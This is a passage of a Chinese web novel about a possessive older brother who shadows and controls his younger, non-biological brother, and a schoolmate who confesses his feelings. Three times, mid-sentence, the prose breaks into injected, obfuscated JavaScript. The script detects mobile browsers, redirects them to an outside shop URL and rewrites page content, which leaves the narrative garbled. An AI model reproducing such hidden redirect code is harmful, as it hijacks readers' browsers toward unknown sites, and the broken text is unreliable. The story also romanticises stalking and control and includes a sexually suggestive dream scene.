回答完,他忽然察觉到不对劲,他哥一直以来除了在他面前,对其他人都是疏离客气的,他从来没见过裴寂对谁这么关注过,没记错的话,那天从烧烤摊回来,裴寂也是在问顾冼。同一个人问了两次,对于裴寂来说,这已经是极度反常的频率了。 裴昭直觉有问题,他像是看透了一切似的,把手机往膝盖上一搁,转过头盯着裴寂:“哥,你好像对顾冼很好奇,为什么?” 裴寂坐正身体,目光从游戏界面移开,落在还在播放综艺节目的电视屏幕上,忽然道:“昭昭离他远点。” 裴昭还没来得及追问,林启青的咆哮就炸了出来:“无情法王小昭你在发什么呆,不会去厕所了吧!” 裴昭被喊回了注意力,赶紧低头选好英雄,嘴里嘟囔一句知道了知道了,便进了加载界面,他把裴寂那句话暂时搁在脑后。 接下来一整局,裴寂就靠在沙发背上,一只手搭在裴昭身后的靠垫边缘,离他的后颈只差几公分。他安静地听着,那个叫顾冼的男生一直学长来学长去的。 顾冼帮裴昭抓人,帮他打buff,挡在裴昭前面把伤害全吃了,简直是裴昭的夸夸机器。 裴昭也被顾冼的热情搞懵了,他玩中路都是自己跑去野区蹭蓝buff,还得看打野脸色。这还是第一次体验皇帝的感觉,脚下踩着红蓝buff,对面中单被他压了整级,林启青操作的AD路过中路,一看他脚下双buff齐活,脸都扭曲了。 “不是吧大哥,从开局到现在,为什么你一直踩着红蓝?” 裴昭嘚瑟起来,操纵着小人优雅地清了一波兵:“你猜。” 顾冼这时又在喊,声线轻快:“学长来拿蓝吗?下一个给你留好了。” 林启青终于崩溃了,声音拔高了几度:“顾冼你给老子正常点!不来抓人在这里养起自家法师了!” 裴昭被林启青吼得耳朵嗡嗡响,毫不留情地怼回去:“闭嘴,你爹我能C。” 最后还是顾冼带他们赢的,最后一波团战,顾冼的打野切进后排换掉了对面AD,裴昭在队友的掩护下三杀收尾。裴昭打得上了头,耳朵微微泛红,眼睛亮晶晶地闪着光。 他完全把裴寂刚才那句话抛到了脑后,又打了一局后正想和林启青再开,手机忽然被人从手里抽走了。 裴寂拿着他的手机,对着麦克风开口:“很晚了,昭昭要睡觉了。你们也早点休息。” 说完退出了队伍,关掉了游戏。 裴昭眨眨眼,还没从游戏的兴奋里完全抽离出来:“哥你干什么?” 干什么? 裴寂没回答,他弯腰一只手穿过裴昭的膝弯,另一只手托住他的后背,把他从沙发上捞了起来。裴昭下意识搂住他的脖子,裴寂抱起他就朝卧室走。 他在想,他可爱乖软的弟弟一直是粘他的,只要他在的时候,裴昭眼睛里就全是他,水光潋滟的瞳仁里只装得下他一个人。 裴昭会依赖地粘在他身上,靠在肩膀上打游戏,窝在怀里看电视,而不是像刚才那样,他明明和裴昭贴得这么近,胳膊挨着胳膊,裴昭眼里心里却全没有他。 将近四十分钟,裴昭一次也没有回头看他。那双漂亮明亮应该只映着他一个人的眼睛,全给了那个不知分寸的学弟。 他把裴昭抱到浴室门口,轻轻放下,裴昭趿着拖鞋踩在门槛上,仰起脸看他,眼神里还带着一点迷茫和不解。 裴寂伸手把他额前的碎发往后拨了一下:“洗漱吧。” 说完他转身走出去,留下一脸懵的裴昭。 回到客厅,茶几上裴昭的手机亮起来,一条新的好友申请弹出来,跟着的备注写着顾冼,头像是个篮球的剪影。 裴寂等屏幕暗下去,才捻了捻指根。 裴昭没搞懂裴寂的心思,他站在浴室里,一边刷牙一边对着镜子发呆,他回想了一下刚才的经过,还是没想明白裴寂为什么突然把他抱进来,嫌他打游戏打太久了? 裴昭把漱口水吐掉,用毛巾擦了擦嘴,算了不想了。他洗完澡出来,裹着一身柑橘沐浴露的热气,就坐到书桌前打开平板,把那个稿子最后的收尾给收了。画完检查一遍,发给单主,他伸了个懒腰。 抬头就看见也洗完澡走出来的裴寂,裴寂穿了件深色家居服,头发没吹,湿漉漉地往后拢着,几缕碎发垂在眉骨上方,手里拿着条毛巾正往客厅走。 裴昭忽然想起自己那天在篮球场的胡思乱想,国外的饮食会不会把他哥的腹肌饿没了。他站起身快步走过去,趿着拖鞋啪嗒啪嗒地跟在裴寂身后。 裴寂弯腰去拿吹风机,裴昭也跟过去,在裴寂转身的瞬间,裴昭来不及刹车,直接扑进了他哥怀里,手下意识按在裴寂胸口上。 他仰起脸,手指无意识地捏了捏,掌心底下是紧实有弹性的触感,隔着家居服都能感觉到胸大肌的轮廓。 裴昭的眼睛亮起来,哇塞,是胸肌。他脑子里噼里啪啦地放了一串小烟花,这么看来,那一定也有腹肌的吧。 他的手指不安分地往下移了一点,指腹刚蹭过胸下缘,就被裴寂握住了手腕。 裴寂垂眸看他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532031|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼睛颜色很深,瞳仁里映着顶灯的小小亮点,裴昭仰着脸,撞上那道目光,从里面竟然读出了危险。 “哥?” 裴寂垂眸不语,他知道裴昭现在很单纯。清澈的眼睛望着他的时候,里面只有好奇,没有任何超出兄弟关系的意味。 裴昭还想不到他嘴里的哥哥对他有超出兄弟之情的非分之想,所以可以直白毫无负担地直接把手按在他胸上,可以仰着脸用那种干净到让人自惭形秽的目光看他。 即便是现在裴昭已经知道他们两人的关系,知道他不是他真正意义上的亲哥哥,也没有留多一点心思,思考他们之间一些超出正常兄弟相处的行为。 这些无心之举,在裴昭那里是撩拨而不自知,裴寂这里只能沉默承受。 裴寂在心里叹息,他无法拒绝裴昭,他松开手。 裴昭眼睛一弯,完全没有注意到他哥刚才几秒钟的沉默里翻涌过什么,他伸手咻地撩起了裴寂的家居服下摆。 然后他瞪大眼睛。 他的那些担心根本就是多余的,裴寂出国三年根本没有失去他的腹肌。腹部线条分明,是锻炼得当匀称而流畅的薄肌,非常好看,非常漫画。 就是那种穿衣显瘦脱衣有肉的完美身材。 裴昭手痒了,他脑子里有两个小人在打架,一个说摸一下看看手感,一个说快拿平板来画下来。两个小人打了半天,还没分出胜负,裴寂已经伸手牵住盯着腹肌看呆的裴昭,把他牵回卧室,按在床上。 “睡觉。” 灯被裴寂关掉,卧室陷入黑暗,裴寂平躺着,身旁的裴昭翻了个身,又翻了个身。过了一会儿,黑暗里裴寂忽然睁开眼,伸手准确地按在自己腹部上,压住一只偷偷摸摸伸过来的小手。 他掌心覆在那只手背上,手指收紧,把乱闯乱探的手整个包在掌心里。 他压着声,低沉暗哑:“昭昭。” 被抓了个现行,裴昭却一点不怕。黑暗里他的手隔着被子在裴寂掌心里不甘心地挣了两下,没挣开,改用指尖挠挠他哥的掌心:“小气鬼,我就摸摸。” 裴寂额角直跳,他侧过身,手臂穿过裴昭的后颈,另一只手揽住他的腰,用一个拥抱把他圈住。 裴昭轻轻挣扎一下,膝盖蹭过他的大腿,手还搁在他腹肌上,已经贴上了,还趁乱按了两下。 裴寂的下颌抵在他发顶,侧脸贴着他的额角,缓缓蹭了蹭。 “乖一点,宝宝。” “先睡觉。” 裴昭猛地收回手,快速眨眼睛。 裴寂已经好久没有喊他宝宝了,而长大的裴寂,声线不再是记忆里的青年音,抱着他喊他宝宝时低沉悦耳,却是一样的好听,一样的拒绝不了。 裴昭发呆出神,耳朵变烫,呜咽一声埋在裴寂胸前,嘀嘀咕咕:“反正是小气鬼。” 裴寂摸摸他的头发,在为一直不开窍的弟弟和自己担心,再这么忍下去他担心会控制不住突然暴露,更怕会吓到对他没有一丝防备心的裴昭。 19. 第 19 章 临近期末,裴昭忙了起来。 各门课的结课作业堆在一起,还有专业选修和公共必修的考试复习,他白天在图书馆一泡就是一整天,裴寂的公司他是没空去了,连微信都发得少了。 林启青跟他一起蹲图书馆,占了靠窗那张双人桌,后面还加了一个人,就是顾冼。 那次打完游戏之后,裴昭就通过了他的好友申请,之后两人又在一起打了好几次游戏,算是熟了。 顾冼比较主动,时不时就找裴昭聊天,一开始是约着一起打游戏,后来是分享食堂哪个窗口好吃,再后来是问英语题。 一听说裴昭和林启青最近在蹲图书馆,他直接抱着两本高代习题册就跟过来了。 裴昭思考时咬着笔帽,抬头无意间和他对上视线,他就微微笑一下,又低头继续演算。 复习间隙,三人也经常去打打篮球运动放松,一般是傍晚,太阳已经没那么毒了,三人就选在室外。 裴昭换上那件红色球衣,领口开得有点大,一弯腰就露出白生生的锁骨和一片薄薄的胸骨上窝。 他跑动起来的时候,球衣下摆被风掀起来,露出一截细白的腰。跳起来投篮,长且匀称的小腿绷直,脚踝纤细,落地时鞋底在地板上吱一声响。 这些画面一帧一帧落进顾冼眼里,晃得他出神。越是接近就越是喜欢,那些被压抑的心思,一天比一天更具体。 裴昭英语好,口语发音标准,顾冼时常问他一些问题,在公寓里的时候,裴昭就直接用语音回过去。 他靠在沙发上,举着手机对屏幕上的题目念一句,顾冼跟一句。声音软而认真,穿过虚拟的网络传进顾冼的耳朵里。 裴寂听到了就端着水杯从厨房走出来,脚步无声,神出鬼没地出现在裴昭身后。目光朝手机屏幕上一落,正看到顾冼发来的语音消息。 裴昭点了一下:“学长,这个单词我老读不好。” 紧接着是裴昭的回复,温温柔柔的:“没关系,多练几遍就好了。” 裴寂的眼神阴森森的,裴昭一点没察觉。他照常窝在沙发上给顾冼回消息,他也没看出顾冼的追求。 直到考完最后一门。 裴昭从考场出来时脑袋还是晕的,被林启青一把勾住肩膀拖上了去农家乐的车。 是林启青早就张罗好的一次野餐,说考完了要放松放松,租了个城郊的农家乐,有烧烤架,有炭火,有几顶已经搭好的帐篷。 裴昭晕头转向地上了车,坐在后座上给裴寂发了条消息:“哥,考完了,林启青带我们去农家乐,晚上住帐篷,不回家了。” 又给白锦发了同样的一条,白锦回了个注意安全,裴寂回了个哪些人。 裴昭靠在车窗上,回:“哥你问这个干嘛?你又不认识,反正有林启青。” 车到了地方,农家乐背靠一座矮山,院门口种着两棵柿子树,串灯从屋檐拉到树干上,橙色的小灯泡星星点点地亮在暮色里。 裴昭走进去第一眼就看见顾冼站在烧烤架旁边,正低头摆弄炭火。看见裴昭的那一刻,肩膀微微绷紧,握着火钳的手指动了动,看起来很紧张。 裴昭朝他挥挥手:“顾冼,你理发了?” 顾冼点头,不好意思地摸了一把后脑勺。之前打球时头发长了遮住半边眉骨,现在剪短了些,露出干净的发际线和一双浓眉,整个人看着精神了不少。 “天气太热了。”他说,没说后半句,也是因为今天要见你。 裴昭笑一声,从他身边走过去,弯腰去看烧烤架上滋滋冒油的羊肉串。顾冼的目光追着他在串灯下明亮的笑脸,喉结滚了一下,又低下头去翻炭。 来的人都是平时比较熟的那几个,大家围着一张拼起来的长桌坐在折叠椅上,把炭火炉子放在中间。 裴昭面前搁着一杯奶茶,他自己嘬着吸管,林启青他们开了几罐啤酒。 大家的共识是不敢让裴昭碰酒了,上一回的教训太惨烈。 裴昭咬着吸管伸了伸脖子去看别人的牌,输了就贴纸条,一把贴一张,额头很快贴了两张白的,在林启青的狂笑声中淡定地又摸了一张牌。 玩够了他回到原位,顾冼端着一盘刚烤好的牛肉走过来放在他面前,裴昭嘬了口奶茶,侧头问:“口语考试怎么样?” 顾冼坐到旁边的椅子上,眼睛微亮:“还行,多谢学长这段时间的帮忙,我终于不用只说sorry了。” 裴昭笑起来,眉眼弯弯,翘起的嘴角被炭火映得格外柔软。漂亮的眼睛里映着串灯的星星点点,像把整片夜空都揉碎了洒进去。 顾冼看着裴昭的笑脸,心跳倏地漏了一拍,目光下落,奶茶的吸管被裴昭咬得扁扁的,他的嘴唇是淡粉色的,被奶茶润过后有点发亮。 裴昭笑完,刚要起身去帮林启青拿烤串,顾冼忽然开口:“学长,你有喜欢的人吗?” 裴昭坐回椅子上,叼着吸管想了想,然后晃晃脑袋:“没有。” 他确实没有,也从未往这方面想过,反正有哥哥就好了。 他的表情坦荡,顾冼看着他,手心里全是汗。关于裴昭的感情状况,他早就打听过了,裴昭长得特好看,家世也好,追求者不可能没有,只是本人都拒绝了。 关于自己是同性恋这件事,其实知道的人不多,中学时他隐约察觉自己和别的男生不一样,但他没交过男朋友,就是知道自己的性取向。 第一天见到裴昭时,大概是第一眼的外貌惊艳,但这一个多月来,他越来越确定自己的内心。 裴昭已经低头看手机了,裴寂又发来消息,问他一起野餐的人有谁,最后又发过来一句话:“顾冼也在?” 裴昭有预感,裴寂其实就是在问顾冼。他不太懂他哥为什么如此防备这个学弟,果然,他刚打了个在字,电话就进来了。 裴昭接起来,裴寂的声音沉沉的:“我不同意你今晚住帐篷,我来接你。” 裴昭压低声音:“哥,大家都住这儿,你让我怎么解释?” 他偏过头,压低声音,“我都多大了。明天早上就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532032|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去了,你不要无理取闹。” 裴昭挂断电话,把手机往口袋里一塞,起身靠过去和其他人一起玩游戏去了。 裴昭的作息时间都被他哥严格控制着,每天晚上十点半必须上床,出来野餐兴奋了一晚上,精力耗得极快,十点多一点他就困得不行了。 他打了个哈欠,从折叠椅上站起来,朝院子里搭好的一排帐篷走去。帐篷是林启青下午提前支好的,裴昭的睡袋放在最靠边那一顶深蓝色帐篷。他走过去的时候,才发现刚刚不见了身影的顾冼在。 两人的帐篷紧挨着,顾冼坐在帐篷口,拉链开着,他听到脚步声便探出头来,冲裴昭挥了挥手,压着声音喊:“学长,要看电影吗?” 裴昭困倦地眨了眨眼,顾冼把平板朝他晃了晃。屏幕上,两个男人正在接吻,拥抱在一起的热吻。 裴昭的眼睛猛地瞪大,他当然不至于不知道同性恋,但亲眼看到这样的画面,还是让他脑袋卡了一拍。 还没完全反应过来,画面一转,两人双双倒进一张床上,镜头开始摇移,外国人拍这种戏从不收敛,影片里的两人开始撕对方的衣服,低沉的喘息从平板里漏出来。 顾冼慌张起来,连忙说:“抱歉学长,我换个……” 他暗自懊恼,没想到随便点的一部电影有这种情节。 裴昭没忍住好奇,脱口问了出来:“你喜欢这类型的电影吗?” 顾冼抬起眼睛,像是下定了什么决心,深吸口气,开口:“学长,我喜欢男人。” 裴昭愣住,许是因为答案出乎意料,许是因为顾冼的直白。 裴昭慢慢啊了一声:“原来如此。” 没有任何反感和排斥,甚至没有过度的惊讶,顾冼看着他,没有在他的脸上看到厌恶,他松了一口气。 裴昭拒绝了顾冼看电影的邀请,屏幕里那两个男人还定格在暂停画面上,停在床沿的姿势让他的目光无处安放。 总觉得气氛怪怪的,他没有再朝平板上看,晃了晃手里的手机,说了句我困了,先睡了,就钻进了自己的帐篷。 顾冼失落地垂下头,望着帐篷拉链,说好吧晚安。 裴昭躺在帐篷里,忽然就没有了睡意。他在睡袋里翻来覆去,把胳膊伸出来,又缩回去。 似乎是缺少了哥哥的怀抱,但娇气如他,很大时间晚上他嫌热,还要推开裴寂嘟囔热死了,然后滚到床的另一边去。 他盯着帐篷顶,忽然听见帐外很近的地方响起窸窣的脚步声。然后是顾冼的声音,压得很低:“学长?” 裴昭嗯了一声,侧过身对着帐篷壁。 “学长,你会不会讨厌我?”顾冼的声音在夜里听起来格外小,像是在斟酌用词。 裴昭眨眨眼,逐渐适应黑暗的眼睛看清帐篷上映着的那个模糊的影子。 明白顾冼在问什么,他把手臂从睡袋里抽出来,翻了个身,声音还带着一点困意:“当然不会。” 帐篷外安静一瞬,然后顾冼的声音雀跃起来:“太好了。” 20. 第 20 章 顾冼不想再等下去了,他坐在裴昭的帐篷外,隔着那层薄薄的布能隐约听见里面翻身的窸窣声。 他捏紧手,知道结果有很大可能是失败,毕竟光性取向这一条,就有百分之九十的失败率。 他深吸一口气,又缓缓吐出来,可不说的话,他会后悔。 “学长。”他小声喊了一句。 帐篷里没有回应,裴昭大概是困迷糊了,刚才那句当然不会之后就安静了下来。 顾冼坐在原地,抬起头朝帐篷口奇怪地看了一眼,又喊了一声,音量放得比第一次大些。 终于,帐篷里传来裴昭迷迷糊糊的一声嗯。软绵绵,像是被从浅眠边缘拉回来,尾音含混地化在喉咙里,像一颗没化开的糖。 顾冼的心砰砰跳起来,他从没觉得自己心脏这么响过,响到他怀疑心跳声传进帐篷里让裴昭听见。 他坚定下来,张开嘴,说出来了。 “学长,我喜欢你。” 这一声说得就有点低了,告白这种事,酝酿了几个星期,在心里排演了无数遍,真到了出口的那一瞬,勇气忽然打了折。 而且顾冼太紧张了,耳根烧得滚烫,全身的感官都集中在帐篷里没给回应的人身上,根本没有察觉背后缓缓走来的人。 裴寂居高临下,站在几步之外。 他穿了件深色的衬衫,领带松垮垮挂在领口,左手拿着手机,屏幕还亮着,上面是裴昭发来的语音消息,他没听完就下了车。 他把顾冼从头到脚扫了一遍,坐在他弟弟帐篷外的男生,红着脸正在对他弟弟告白。 真是巧,他来得真是刚刚好。 裴寂抬起手,慢条斯理地松了松领带,他没管手里一直震动的手机,屏幕上裴昭又发来一条新消息。 帐篷里安安静静的,裴寂猜裴昭没有听见,那小子最后一步怂了,声音小了。 顾冼忽然猛地转过头,余光捕捉到身后的人影,他本能地弹起来,他认出了此人,是裴昭的哥哥。 顾冼不好意思地摸摸后脑勺,耳根的红还没褪,被长辈撞破的窘迫感冒出来:“裴大哥。” 裴寂沉沉看他一眼,然后收回目光,走向帐篷边,扬声:“昭昭,出来,回家。” 帐篷里惊呼一声,接着是窸窸窣窣的拉链声。裴昭匆匆忙忙套上拖鞋就钻了出来,头发翘着两撮,他惊讶地看着站在帐篷外的裴寂,又看了一眼站在旁边手足无措的顾冼。 “哥?你怎么来了?”他刚才还在给裴寂发语音,睡前给他哥补了条消息,说这里蚊虫多,忘了带驱蚊水,撒娇说下次再也不住帐篷了。 没想到一转眼人就到眼前了,最重要的是,裴寂怎么会知道具体位置,他从来没和裴寂说过具体地址。 顾冼这会儿才是进不得退不了,他站在帐篷边,告白没有得到回应,心上人当着他的面被他哥叫出来,他连插句话的机会都没有。他只能再次试探地喊了句:“学长?” 裴昭转头:“顾冼,怎么了?” 他的目光澄澈坦荡,显然刚才那句低声的告白完全没有进入他的耳朵。 顾冼垂下头,后退一步,他看见裴寂站在裴昭身后,那个高大的男人微微侧过头,视线越过裴昭的发顶落在他身上。 目光里没有任何多余的情绪,却让他本能地收住了脚步。 “没事学长,晚安。” 错过了,刚才是最好的机会,只有他和裴昭,夜还很安静,他鼓足了所有勇气,可是他的声音太小了。现在裴昭的哥哥在,他怎么好意思再当着大人的面告白,更何况他哥哥站在那里,仅仅是一个眼神,就让他把所有的话都咽了回去。 裴寂拉住裴昭的手,牵着裴昭转身就走,裴昭没反抗。 他被牵着走了几步,回头冲顾冼挥了挥手,口型说了句拜拜。 然后转回来盯着裴寂的侧脸,在出了农家乐大门后,忽然把手从裴寂掌心里挣了出来。 “哥。”他站定在原地,仰着脸看裴寂,“你怎么知道我在这里的?” 裴寂停下脚步回过头,脸上的表情纹丝不动:“问林启青的。” 裴昭掏手机,当着裴寂的面点开林启青的微信,发了一条:“你告诉我哥我在哪儿了?” 消息发出去,没有回应。林启青此刻正喝得七荤八素,根本看不了手机。 裴昭盯着对话框看了一会儿,重新抬起眼。他狐疑起来,目光在他哥脸上扫来扫去。 “哥,我怎么觉得你在跟踪我。” 裴寂走近一步,抬手手指轻撩了撩裴昭耳旁的发丝,把被睡袋蹭乱的碎发拢到耳后。 裴寂满眼温柔和笑意:“昭昭觉得呢?” 裴昭被他哥凑近的动作弄得下意识屏了屏呼吸。裴寂的指腹还停在他耳后,温热干燥,拇指若有若无地擦过他的耳垂。 裴寂这时看了一眼腕表,弯下身,凑到裴昭耳边哄道:“太晚了昭昭,先和哥哥回去休息好不好?” 裴昭生气:“本来我都快要睡着了。” “是吗?”裴寂直起身,他从口袋里掏出手机,点开裴昭发来的语音消息。 裴昭软绵绵带着困意的声音外放出来,“睡着了怎么还回哥哥的消息。” 裴昭气恼,一把推开他哥的手,绕过他就朝车子方向大步走去。 裴寂慢悠悠直起身,收起手机,然后朝大门口的方向看了一眼。凌厉的目光扫向大门处跟来的顾冼,毫不掩饰的警告。 直到顾冼似乎察觉到他的敌意,裴寂才转身跟上弟弟上了车。 农家乐距离裴寂的公寓有一段距离,开回去要将近四十分钟。 裴昭坐在副驾驶上,被裴寂说中了,他是困了,但一躺下就睡不着。他又不能承认,不能给他哥发消息说没有你抱着我睡不着。 但在车上他还是没主动和裴寂说话,他把脸偏向车窗,还在等林启青的回复。只是神奇的是,刚刚在帐篷里辗转反侧散去的睡意,这会儿又被身边那个人的存在感勾了回来。 眼皮越来越沉,脑袋一点一点歪向车窗,又歪回来。 裴寂侧眸看了一眼,稍微加快了一点车速。 到了公寓楼下,裴昭歪在副驾驶上,脑袋靠着车窗,嘴唇微微张开,睡得很熟。 裴寂解开安全带下了车,绕到另一侧,拉开车门,把弟弟从副驾驶上打横抱起来。 裴昭没有醒,只是本能地把脸往裴寂胸口贴了贴,闻到熟悉的香气,眉头松开了。 一觉睡到第二天。 裴昭迷迷糊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17532033|203725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊伸手去摸旁边的枕头,空的,裴寂已经起床了。 他翻了个身,把裴寂的枕头捞过来抱进怀里,然后摸手机。 屏幕亮起来,林启青回他了:“啊对,你哥打电话问我的,咋了?” 裴昭把手机放下,盯着天花板发了一会儿呆。好吧,林启青说的,那就没问题了。 考完试算是放假了,但裴寂还得上班。裴昭起床后收拾收拾,换好衣服,把换下来的睡衣叠了放在枕头上,就回了爸妈那里。 白锦见他回来高兴得不行,中午又往他碗里夹了一堆补品食材。裴昭咬着筷子躲不开,吃了两碗饭才被放走。 回到别墅自己的卧室,他拉开衣柜找那件常穿的居家短裤。柜门打开,他的手停在半空中。 衣柜里的衣服叠得整整齐齐,T恤按颜色深浅排成一排,短裤挂在左侧,内裤卷成小卷码在最里面的收纳盒里。 每一件都是他穿惯的牌子,可他没有印象自己什么时候买过这么多。 他蹲下去拉开抽屉,里面分门别类地放着袜子、小件的保暖背心,每一个收纳格都满得刚刚好。 裴昭忽然惊觉,自从裴寂回来后,他的所有生活用品都被裴寂换过了。 从牙刷到毛巾,从睡衣到外套,从袜子到内裤,连穿什么颜色的内裤都是他哥来选的。 裴昭关上抽屉,心里说不出什么滋味。 他本想在别墅住一晚,晚饭都跟白锦说好了,可傍晚门铃就响了,裴寂推门进来,手里拎着车钥匙,跟白锦说公司今天下班早,顺路来接裴昭回家。 裴昭还没反应过来,就被他哥揽着肩膀带出了门。出了门他才想起来,不对啊,他什么时候说今晚要回裴寂那里了? 他扒着车门回头看自家大门,白锦已经冲他挥挥手转身回去了。他被安全带扣在副驾驶上,晕晕乎乎又被哄回了公寓。 放假后裴昭整天躺在家,窝在沙发里,不是打游戏就是刷平板。 他也是终于知道他哥整天坐办公室为什么还能保持那副身材了,裴寂一般早上起来会运动一小会儿,晚上有时间才会运动,跑步、哑铃,有时候只是几组俯卧撑和核心训练。 裴昭正歪在沙发上打副本,余光瞥见他哥推开一扇门走进去了。隔了好一会儿,门重新打开。 裴寂光着上半身走出来,身上还蒸着运动后的热意。 强悍紧实的肌肉被汗打了光,像是蒙上一层滤镜,特别吸引人。 裴昭眼睛都不眨地盯着看,手里的角色残血了都没发现,被boss一个大招砸死在地上。 裴寂走过来,高大的身影弯下腰,朝他伸手。 裴昭只感觉一只滚烫的手掌握住了他的脚踝,温热透进皮肤里,拇指恰好按在踝骨下方细嫩的皮肤上。 裴昭轻轻一抖,脚踝上的那只手没有松开,他和裴寂对视上,只觉得他哥此刻的眼神好重,混着运动后未散的肾上腺素,汗水和体温蒸出来的攻击性。 裴寂很快直起身,他手里拿着被裴昭压住的空调遥控器,拇指在上面按了两下,垂眸看着还仰在沙发上有点呆的裴昭:“温度太低了,昭昭。” 裴昭猛地回过神来,他一把抢过遥控器,把温度又按回去了,嘴里急急地嘟囔:“我热。” 21. 第 21 章 裴寂低头,揉了揉弟弟的脑袋:“别调太低。” 说完就转身进了卧室,裴昭不由自主追着他的背影看,肩背宽阔,腰线收窄,运动后微汗的脊背在灯下泛着一层薄光…… 裴昭红着脸盯着那个背影消失在卧室门口,手里捏着遥控器,又偷偷把温度往下调了一度。 也不知道最近是不是白锦的补汤喝多了,手心脚心都热得发烫。 裴昭把遥控器扔在沙发上,翻了个身把脸埋进靠垫里,他的确燥得慌。 当天晚上就做起了不可描述的梦。 梦里他被人托起屁股抱着压在墙上,后背抵在冰凉墙面,双腿悬空,膝弯挂在男人结实的小臂上,被圈在一个无处可逃的狭小空间里。 他看不清身前高大身影的样子,湿热的气息俯冲而下,拂在他的嘴唇上。 只听到低沉暗哑的声音,诱哄道:“宝宝,张开嘴。” 这次对方的面容慢慢从黑暗中浮出,裴昭竟然乖乖听话地微张嘴巴,探出一点艳红的舌尖,下一秒就被对方急不可耐的吃进嘴里品尝。 嘬吮的啧啧水声响起,直到舌尖被吃得发麻,对方才放过他,转而舌头扫进他的口腔,强行掠夺他的津液。湿热的唇覆上来,勾住他的舌尖翻搅,像是要把他整个人吃进去。 这个吻来得太猛太深,呼吸被掠夺,唾液被吸吮,裴昭的后脑勺抵在墙上,从喉咙里溢出一声鸣咽。 亲吻太过激烈,对方的舌头在他口腔里扫荡了一圈,退出去一点,又重重地覆上来。反反复复,像是怎么都尝不够。 身体的反应来得又急又陌生,对方的身体压得更紧,滚烫的手从衣摆下探进去,掌心贴着他的腰侧往下滑,最后停在腰线下的位置。 手指微微收紧,掌心压在那片皮肤上,拇指缓慢地摩挲着胯骨上方的凹陷,下一步像是要…… 梦却止步于此。 裴昭忽然惊醒,呼吸又短又急,脸红耳烫,睁大眼睛瞪着头顶的天花板,整个人僵在黑暗里不敢动。 他竟然做了这种梦! 这时搭在他腰间的手紧了紧,裴昭眨眨眼,咬着嘴唇不知所措。 他做梦的对象竟然是哥哥!怎么可能会是裴寂? 裴昭脑子里乱成一锅粥,心虚慌张得不行,他小心翼翼抬起搭在腰上的胳膊,把裴寂的手轻轻从自己腰上拿开。 然后从床上爬起来,赤着脚踩在地板上,抓起椅子上的干净衣服,踮着脚尖溜进了浴室。门关上,咔嗒一声,他才敢喘出那口憋了半天的气。 脱下来的睡衣被扔进脏衣篓里,他拧开水龙头,挤了两泵洗衣液,蹲在淋浴间里搓内裤。 搓完拧干,挂到浴室角落里的小晾架上。他站直身子,看见镜子里映出自己的脸,红晕还没褪干净,嘴唇也被他在梦里咬得有点肿。他撑在洗手台边缘,低下头闭上眼睛。 肯定是那天在帐篷外无意间看到顾冼平板上那个影片的原因。肯定是,不然为什么会梦到被一个男人压着亲,但也不对,男的也就算了,为什么偏偏是他哥? 裴昭一个早上都不敢正眼看裴寂,裴寂照常把剥好的水煮蛋放进他碟子里,手擦过他的指尖,裴昭的手猛地缩了一下,裴寂看他一眼,没说话。 裴昭低头扒粥,耳根红得能滴血,连平日里最爱吃的小笼包都没碰。 吃完饭他窝在沙发上拿手机上网,乱七八糟搜了一堆东西,越搜越心虚。他把浏览器记录清干净,屏幕按灭,翻身把脸埋进抱枕里。 裴昭咬着牙想,做春梦对象是男人还能说明什么,至于梦到裴寂,裴昭只能找补,他和哥哥平日里走太近了,是正常的正常的。 可是他该怎么告诉家人,他的性取向好像是男人呢? 没敢再继续喝白锦送来的补品,但晚上裴寂一般都会运动一会儿。 他照常光着上半身,身上蒸着运动后的热意。裴昭不可避免地看到了这副身体,并且意识到了自己正在看。 意识到之后就更糟糕了,他的目光会不受控制地追着走。 裴昭又赶紧把目光移回手机屏幕上,盯了五秒钟才发现自己把微博热搜的标题来回读了三遍,一个字都没记住。 裴寂还靠近他,走过来拿被他压住的空调遥控器,弯腰的时候身上的热气蒸腾过来,裴昭只觉得那刻周围的空气都被抽薄了,温度骤然升高,那股热从裴寂的皮肤上扑过来,裴昭往后缩了缩,把遥控器往他手里一塞,从沙发上弹起来去了洗手间。 裴昭抱头蹲下,欲哭无泪,他怎么有种被勾引到了的错觉? 果不其然,晚上再次做起了梦。 这次梦里没有墙,他躺在床上,裴寂俯身撑在他上方,两只手撑在他耳侧,把他笼罩在身下。 裴寂的面容这一次异常清晰,他俯下身来吻他,这次的吻很温柔,从眉心吻到鼻尖再到唇角,然后舌尖抵开他的牙关,温柔品尝。 吻落在下巴上,落在 